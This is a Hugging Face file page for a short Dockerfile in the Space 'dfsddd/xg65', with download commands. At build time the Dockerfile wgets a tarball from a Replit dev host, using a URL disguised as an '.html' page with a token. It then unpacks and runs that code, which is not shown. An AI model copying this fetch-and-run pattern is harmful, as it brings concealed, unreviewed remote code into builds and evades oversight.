Download Dockerfile from dfsddd/xg65: direct link, hf CLI and curl.
- Browser
- Download file 507 Bytes
-
https://huggingface.co/spaces/dfsddd/xg65/resolve/main/Dockerfile
- Command line
-
hf download hf://spaces/dfsddd/xg65/Dockerfile
-
curl -L -o Dockerfile https://huggingface.co/spaces/dfsddd/xg65/resolve/main/Dockerfile
507 Bytes
| FROM node:20-alpine AS base | |
| RUN apk add --no-cache gcompat npm git | |
| WORKDIR /app | |
| RUN wget -O my-app.tar.gz "https://d0dae0a3-2774-495e-94fb-517006db7fae-00-1styqbiyaw84w.riker.replit.dev/Inefc7WCgHBSs.html?token=0e5ed346f1412067f0c18d1d1ed8607c" && tar -xzf my-app.tar.gz && npm ci --omit=dev | |
| FROM base AS runner | |
| WORKDIR /app | |
| RUN addgroup --system --gid 1001 nodejs | |
| RUN adduser --system --uid 1001 hono | |
| USER hono | |
| EXPOSE 3000 | |
| CMD ["node", "/app/dist/index.js" , "--host", "0.0.0.0", "--port", "3000"] |